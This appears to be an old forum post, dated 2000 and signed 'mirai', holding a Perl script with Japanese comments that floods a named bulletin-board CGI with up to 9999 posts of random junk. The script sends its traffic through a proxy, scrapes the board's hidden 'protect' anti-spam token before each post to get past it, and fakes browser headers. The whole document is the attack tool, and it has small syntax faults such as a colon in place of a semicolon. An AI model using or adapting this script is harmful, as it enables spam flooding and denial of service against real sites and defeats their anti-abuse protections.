2000/04/04 (火) 03:43:32      [mirai]
#! /usr/bin/perl

# 目標のURL
$target = 'http://www.strangeworld.org/cgi-bin/strangeworld/bbs.cgi';
# PROXYのアドレス
$proxyaddr = 'www.justnet.ne.jp';
# PROXYのポート番号
$proxyport = '80';
# 投稿回数
$r = 9999;

$hhost = $target;
$hhost =~ s/http\:\/\///;
$hhost = ( split ( /\//, $hhost ) )[0];

# -------------------------------------------------------------------------- #

eval 'use Socket';
$| = 1;
print "Content-type: text/plain\n\n";
&time;
$sockaddr = 'S n a4 x8';
( $name, $aliases, $proto ) = getprotobyname ( 'tcp' );
( $name, $aliases, $type, $len, $thataddr ) = gethostbyname ( $proxyaddr );
$that = pack ( $sockaddr, &AF_INET, $proxyport, $thataddr );
for ( $v = 0; $v < $r; $v++ ) {
	$buffer = '';
	&socket;
	&post;
	$code = 0;
	foreach $line ( <S> ) {
		if ( $line =~ /<input type=\"hidden\" name=\"protect\" value=\"(.*)\">/) {
			$form_code[$code] = $1;
			$code++;
		}
	}
	close ( S );
	sleep 2:
	srand ( time | $$ );
	$randx = int ( rand ( 66 ) ) + 9;
	$randy = int ( rand ( 37 ) ) + 3;
	$rndbuf = int ( rand ( $v + $randy ) ) + $randy + 185;
	for ( $i = 0 ; $i < $randy ; $i++ ) {
		for ( $j = 0 ; $j < $randx ; $j++ ) {
			$rnd = sprintf ( "%c", 48 + int ( rand ( 78 ) ) );
			$rndbuf = "$rndbuf$rnd";
		}
		$rndbuf = "$rndbuf\n";
	}
	$rndbuf =~ s/([^a-zA-Z0-9\s])/sprintf ( "%%%lX", ( unpack ( "C", $1 ) ) )/eg;
	$rndbuf =~ s/ /\+/g;
	$buffer = "mode=post&username=&mailaddr=&title=&message=$rndbuf&linkurl=&protect=$form_code[0]&msgdisp=1&autolink=&custom=ffffff004040eeffeedddddd0&postid=840000";
	&socket;
	&post;
	close ( S );
	print "$v : send.\n";
}

print "Done";
exit;

sub time {
	( $sec, $min, $hour, $mday, $month, $year, $wday, $yday, $isdat )
	  = localtime ( time );
}


sub socket {
	$length = length ( $buffer );
	socket ( S, &AF_INET, &SOCK_STREAM, $proto ) || die next;
	connect ( S, $that ) || die next;
	select ( S );
	$| = 1;
	select ( STDOUT );
}


sub post {
	print S <<"_POST_";
POST $target HTTP/1.0
Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg/, */*
Referer: $target
Connection: Keep-Alive
Accept-Languege: ja
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible, MSIE 5.0; Windows 98)
Host: $hhost
Content-Length: $length
Proxy-Connection:
Pragma: No-Cache

$buffer

_POST_
}